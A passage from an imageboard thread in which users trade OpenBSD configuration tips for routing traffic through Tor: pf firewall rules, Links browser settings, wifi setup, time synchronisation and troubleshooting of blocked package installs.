And you had it explained it to you already: >>4744
The only way the attacker gets your IP is he breaks out of the vm.

Nanonymous No.5490 [D] >>5491
>>5477
>Also, as I said before, most of openbsd base system is now privsep'd with pledge and unveil.
How's that even related to fucking anything? Or is it more like a mantra or something?

Nanonymous No.5491 [D][U][F] >>5500
File: f605dd217f5e3846df937cfb02a3f59a7b36b776da2ad5a3cce1d555e2846d56.jpg (dl) (183.96 KiB)
>>5489
And you can't understand what you've read. Here, I'll quote for you the same anon you linked:
>The gateway torifies all traffic it receives.
>Therefore, the only way to get the real IP of the user is to compromise the gateway VM
It is not that complex to understand.
Whonix passes the trafic throught a VM ("gateway"). If you can compromise this VM, you can modify the Tor binary. If you compromise the host, you can simply modify the gateway.
>>5488
>I'm starting to think it is.
See. This is not a /g/-tier imageboard. GTFO.
>Does firewall prevent the execution of that command?
It prevents from leaking the real IP.
>Does it prevent from getting sensitive hardware info?
What "sensitive hardware info"?
The IP is proxied through Tor, the MAC address is spoofed. What more will you get?
>>5490
>How's that even related to fucking anything?
The other anon said about "execution of arbitrary commands". Pledge and unveil limits the possibility of that.


I don't know if you guys are just dumb or I'm being baited.

Nanonymous No.5492 [D] >>5493
It sounds like you guys really want QubesOS, but can't stop sucking off OpenBSD.............wtf

Nanonymous No.5493 [D]
>>5492
Clusterfuck >>4760

Nanonymous No.5500 [D] >>5502
>>5491
>Whonix passes the trafic throught a VM ("gateway"). If you can compromise this VM, you can modify the Tor binary. If you compromise the host, you can simply modify the gateway.
You'd actually need to compromise tor itself, because that's not the vm where browser and shit runs.
>It prevents from leaking the real IP.
You can get the IP through that command. You can send it back through tor.
>What "sensitive hardware info"?
Models, serial numbers.

Nanonymous No.5502 [D]
>>5500
>that's not the vm where browser and shit runs.
The same applies to the host. Except instead of just modifying the Tor binary you would be able to do even more nasty shit.
>You can get the IP through that command.
I don't understand.
>Models, serial numbers.
If someone has the ability to run arbitrary commands do you think they would only get serial numbers? This doesn't make any sense. The traffic itself will not contain hardware information. The MAC address is randomized and pf is also stopping TCP timestamps.
Unless you're talking about servers. In this case port scanning with nmap could potentially reveal hardware information. But we were discussing client, not server.

Nanonymous No.5559 [D]
bump

Nanonymous No.6035 [D] >>6590 >>7863 >>7870 >>7873
Copypasting my comment from other thread on how to configure Links browser:

Add the bellow to ~/.links/links.cfg

socks_proxy "127.0.0.1:9050" only_proxies 1 fake_firefox 1 ipv6.address_preference 3 save_url_history 0 async_dns 0 format_cache_size 0 memory_cache_size 0
image_cache_size 0
font_cache_size 0

And this to ~/.links/html.cfg

html_hard_assume 1
html_auto_refresh 0
html_frames 0

Add a alias to your ~/.profile or ~/.kshrc

alias links="links -g -no-connect"

That's it.

Nanonymous No.6377 [D] >>6382 >>6383
Not sure if OP still lurks here. Are these instructions reliable for a computer with a fresh install of openBSD? Aside from this question, I assumed there had to be some config files made prior to these instructions, but that is an assumption.

Nanonymous No.6382 [D] >>6383
>>6377
>some config files made prior to these instructions
Nope. Just install according with the FAQ in the website (openbsd.org) and then follow the instructions.
The only thing is that, if you're using wifi, you will have to configure it. There's a session on the FAQ, but the process is like this:
- Find what interface you're using. Type "ifconfig". If nothing shows, run the command "fw_update".
- Create a hostname.if(5) file. For example, if your interface is athn (atheros cards), you have to create a file called hostname.athn0 inside /etc/
- After that, you have to write your nwid and wpakey. For example (where "xxxx" is the name of the wifi and the password):


lladdr random
nwid "xxxxx" wpakey "xxxxxx"
dhcp


- Reboot the system or run "sh /etc/netstart"

Do the configs in OP and done. The only issue is time syncronization. OpenBSD uses OpenNTPD for that, but NTP uses UDP, which is not supported by Tor. So you have two options:
- Temporarily disable the pf firewall to allow UDP traffic. Put this inside /etc/ntpd.conf:

listen on 127.0.0.1
servers pool.ntpd.org
sensor *

Then run "doas ntpd -sd", wait a little bit and then kill the process. Turn on again the firewall and done.
- Or, use TLS timestamps using curl:

curl --proxy socks5h://127.0.0.1:9050 -L -I https://duckduckgo.com/html | grep date

This will show you the current date. All you have to do now is manually change the system date(1).

Nanonymous No.6383 [D] >>6391
>>6377
>>6382 (me)
Btw, besides the configs I'm posting here, I just install and configure some software I need and use every day. Let me know if you're interested in these other configs.

Nanonymous No.6391 [D] >>6416
>>6383
Oh anon, your computer love and compassion is endeared, for sharing knowledge. Because most people will not endure a career in coding or computer science, I can only thank you so much for sharing your knowledge. I am such a nerd when it comes to lurking the internet and I thank you. I will try to get this shit top to run torbrowser. Honestly, people don't know this,but sharing is one of the most important actions we can do among each other. The internet is a miracle.

Nanonymous No.6392 [D]
>>4981
>They should send the SHA-512 hash in their website order
I think they do

Nanonymous No.6416 [D]
>>6391
You're welcome mate.

Nanonymous No.6590 [D] >>7870
>>6035 (me)
Addendum to this config:
- Links might override the configs if you hardcode the links.cfg file. This happens specifically with the cache and html settings, all the others seems fine. You can change the file permission to read-only or you can add this to the ~/.config/i3/config file while using i3wm (you have to reload i3 using Alt+Shift+R after this to take effect):

bindsym F1 exec pkill -SIGHUP tor && "/usr/local/bin/links -g -no-connect -format-cache-size 0 -memory-cache-size 0 -font-cache-size 0 -image-cache-size 0 -aggressive-cache 1"

- The above config will also rotate the Tor exit node every time you open a new browser using the "F1" key (even though the torrc recommended on OP already does that). This will not work if you fork the browser doing "Esc>l>w", but only by pressing the F1 key. So you need to copy the link (using "Esc>l>c"), then press F1 and finally paste on the bar (press "g" and then Shift+Insert).

Nanonymous No.6767 [D][U][F] >>6769
File: 70b32e351e75e60518bdfeb73b2efd1d3e0ed2cf8683dc0b8f4a87caa6a98ce6.png (dl) (227.95 KiB)
Few questions op and thanks for this thread.
1)
How would one take this tor setup and auto-route its traffic through a vpn? So you get tor -> vpn?
2)
Once 1) is accomplished how would I make the setup tor -> vpn -> tor so that I can access hidden services?
3)
What would be a good way to auto-disable this so you can handle captcha portals at wifi spots?

Nanonymous No.6769 [D]
>>6767
>tor > vpn
I don't have knowledge about that and I don't think this is safe, sorry.
OpenBSD has it's own VPN implementation, called OpenIKED:
https://www.openiked.org/

So I guess you have to setup a server with OpenIKED and Tor first. Then you open a door for external connections to the IKED and configure to internally route the traffic to Tor (using a loopback interface and the "divert-to" rule in pf firewall).
So all you have to do is use Tor on your machine to connect to the server and then the server will do the VPN>Tor connections for you.
But I don't know how to do that exactly and, as I've said, I don't think this is safe.
I would suggest you start reading here:
https://www.openbsd.org/faq/faq17.html
>auto-disable this so you can handle captcha portals at wifi spots
Using pf rules. On the OP rules, see this bit: "pass out quick inet to xxx.xxx.xx:xx"
You could also temporarily disable the pf rules and then turn on again.
A very useful way of doing that is using aliases in .kshrc.
Write this to your ~/.profile:

export ENV=$HOME/.kshrc

Then create a file called ~/.kshrc and write the aliases. For example, I always do these on my systems:

alias cp="cp -i"
alias mv="mv -i"
alias q=exit
alias cl=clear
alias l="ls -pa"
alias rm="rm -f"
alias p=mpv

Now, when you open a new terminal, these aliases will be loaded.
The same can be done for pf rules. Create one pf.conf with your Tor rules and other one for non-Tor. Then you can:

alias notorrules="doas pfctl -f /etc/pf_notor.conf"
alias torrules="doas pfctl -f /etc/pf.conf"

Now when you type "notorrules" it will prompt the password for changing the pf rules...
To check what pf rules are currently loaded use:

$ doas pfctl -s rules

Nanonymous No.7848 [D] >>7863
>>4669
Not sure if op is alive still, this might sound dumb, what ever. I did everything in instruction, but what is the command to actually launch the browser?

Current state of tor process is sleep/1. Not sure how to get the interface going. Anyone know what might be missing? thanks frens

Nanonymous No.7861 [D] >>7863
>ifconfig: inet 127.0.02: bad value

getting this error on boot. did everything in OP. tor relay launches no problem, but I can't launch the tor webbrowser. There are no packets to extract in openBSD so it's hard to even launch it from a directory. In the mean time I'll keep researching.

Nanonymous No.7863 [D] >>7867 >>7869 >>7871
>>7861
You forgot one dot in your /etc/hostname.lo1

>>7848
What browser? Tor Browser? Use Links instead: >>6035
If you want to use Tor Browser, install using pkg_add and it should work out of the box. If not, type "pgrep tor" to see if it's running. If not, run it using "doas tor". Try connecting again. If you can't connect anyway, you need to get more informations and post here (what message the TBB gives? What is on Tor daemon /var/tor/)?

Nanonymous No.7867 [D] >>7869
>>7863
Maybe OpenBSD does it different, but usually Tor Browser opens it's own daemon on port 9150.

Nanonymous No.7869 [D] >>7870 >>7871
>>7863
>>7867
It's running. Maybe I'm asking the wrong question. It's running, but I don't know how to access onion links with out using the actual tor web browser, or rather, I'm only familiar using tor browser to access onions. I am not familiar with using another web browser to visit onion links, but from the sounds of it, Links can be used.Okay thanks for the update, appreciate it.

Nanonymous No.7870 [D] >>7871
>>7869
Yes, Links can be used. As well as any browser supporting SOCKS5 connections.
To use Links the way I personally use and recommend, do "pkg_add links+--" and follow >>6035 and >>6590 (the links.cfg formatting got fucked on >>6035, but it's meant to be one line for each option).

Nanonymous No.7871 [D] >>7873 >>7876
>>7863
>links
Just a warning, don't expect the same level of anonymity as with tor browser.
>doas tor
doas rcctl start tor
>pgrep tor
rcctl check tor
>>7869
Any connection that goes through tor's proxies can access onions.
>>7870
Built in socks proxy is unnecessary, torsocks or proxychains are generally safer

Nanonymous No.7873 [D] >>7876
>>7871

>tor(ok)

>>6035
>/.links
This looks like a file that is to be created in HOME directory as root.Correct? Thanks for the help frens.

Nanonymous No.7876 [D] >>7879 >>7884
>>7871
I feel like tired of replying when I see these comments.
>Just a warning, don't expect the same level of anonymity as with tor browser.
Already discussed 1 billion times. Don't go over it again.
>doas rcctl start tor
torrc already enforces daemonization. Executing tor binary will do exactly the same thing.
>rcctl check tor
pgrep will just check the process. Logs should go to /var/tor/. Another unnecessary comment.
>Any connection that goes through tor's proxies can access onions.
Not true. You can block onion access in torrc.
>torsocks or proxychains are generally safer
And where exactly is the source for that? It's not true, btw. Torsocks can accept outbound leaks (see "AllowOutboundLocalhost") and doesn't seem to be maintained anymore. A well implemented native SOCKS5 support is much better and is the prefered way of using tor.
>>7873
If you launch Links one time and then exit, this folder will be created automatically. If not, you should:

$ mkdir ~/.links/
$ chown -R anon:anon ~/.links/
$ chmod -R 0700 ~/.links/

Where "anon" is your current user name.

Nanonymous No.7879 [D] >>7880
>>7876
ah I see, that's understandable. Well. I'll give it a shot again. I have to figure out why, after doing OP instructions, I can no longer install software packets.
>pkg_add links

>"https://cdn.openbsd.org/pb/OpenBSD/6.5/packages-stable/amd64/:ftp:cdn.openbsd.org no address associated with name.
>prior
A fresh install of openBSD had no issues with pkg installations, but only after I made OP settings, the above happened.Having had to retype the Op'S instructions is laughable, just so I could get a closer idea of what was causing this problem. The next thing I tried was commenting out the commands, but that did nothing. So I guess I'll reinstall this cunt all over again and install links FIRST. Maybe then it will function.

Nanonymous No.7880 [D] >>7881 >>7884
>>7879
That's because the firewall is blocking all connections, except Tor. You have to use a wrapper like torsocks:

# torsocks pkg_add links+--

Or, you can disable pf firewall temporarily:

$ doas pfctl -d
$ pkg_add links+--
$ doas pfctl -e -f /etc/pf.conf

Nanonymous No.7881 [D][U][F]
File: d9e1e1443ef9a5c33d400864962199a5ef5a1711d6919669d15694a039c9c9e8.jpg (dl) (474.56 KiB)
>>7880


Nanonymous No.7884 [D] >>7898
>>7880
>>7876
Thank you so much. Finally got it working, with your help. Saved all your instructions.

Nanonymous No.7898 [D]
>>7884
You're welcome. If you have any other issue, report here and I'll try to help.

Nanonymous No.8194 [D] >>8196
This thread is worth keeping around.

sage Nanonymous No.8196 [D] >>8220
>>8194
muh OpenBSD

Nanonymous No.8220 [D]
>>8196
>cannot sage
> hates openbsd
go back to 8kun